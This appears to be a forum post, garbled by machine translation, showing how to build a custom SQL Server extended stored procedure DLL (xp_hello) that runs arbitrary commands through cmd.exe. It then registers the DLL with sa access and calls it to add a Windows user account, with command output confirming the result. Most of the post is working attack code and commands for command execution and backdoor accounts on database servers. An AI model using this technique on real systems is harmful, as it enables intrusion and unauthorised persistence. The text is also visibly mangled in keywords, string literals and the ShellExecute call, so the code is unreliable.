Source: Freezing Point Forum February
Main Code:
Create a stored procedure project in VC6 and write the following code In proc. cpp:
# Include <stdafx. h>
# Include <shellapi. h>
# Define XP_NOERROR 0
# Define XP_ERROR 1
# Define MAXCOLNAME 25
# Define MAXNAME 25
# Define MAXTEXT 255
# Ifdef _ cplusplus
Extern "C "{
# Endif
RETCODE _ declspec (dllexport) xp_hello (SRV_PROC * srvproc );
# Ifdef _ cplusplus
}
# Endif
RETCODE _ declspec (dllexport) xp_hello (SRV_PROC * srvproc)
{
********* ****************
Because of my bad character, there is no srv_paraminfo function in the library,
The old-fashioned srv_paramdata
**************************************** *********************/
Int bufLen;
DBCHAR spName [MAXNAME];
DBCHAR spText [MAXTEXT];
DBCHAR spBuf [MAXTEXT];
Unsigned char limit line [255] = "";
If (srv_rpcparams (srvproc )! = 1) return XP_ERROR; // judge the parameter. If the parameter is not 1, exit immediately.
BufLen = srv_paramlen (srvproc, 1 );
If (! BufLen) return XP_ERROR;
Wsprintf (spBuf, (DBCHAR *) srv_paramdata (srvproc, 1); spBuf [bufLen] = ''; // obtain the value of the first parameter
Wsprintf (spName, "xp_hello ");
Wsprintf (spText, "% s Run command: [% s] MSN: ylbhz@hotmail.com", spName, spBuf );
Srv_sendmsg (srvproc, SRV_MSG_INFO, 0, (DBTINYINT) 0, (DBTINYINT) 0, NULL, spText, SRV_NULLTERM); // send a message
Wsprintf (char *) using line, "/c % s", spBuf); // Constructor
Shellexecute(0,20.open.pdf, cmd.exe ", (char *) using line, NULL, SW_SHOW); // execute the command
Return XP_NOERROR;
}
Compile and generate xp_hello.dll
Connect to SQL Server using SA for execution
Dbcc addextendedproc ('xp _ hello', c: xp_hello.dll ');
Call
Exec xp_hello 'net user fuck/add ';
In this way, a fuck account is added to the system.
C: Documents and SettingsAdministrator Desktop \ CDebug> net user
\ PC-200910151119 User Account
--------------------------
Administrator ASPNET fuck
Guest HelpAssistant IUSR_PC-200910151119
IWAM_PC-200910151119 SQLDebugger SUPPORT_388945a0
VUSR_PC-200910151119
Command completed successfully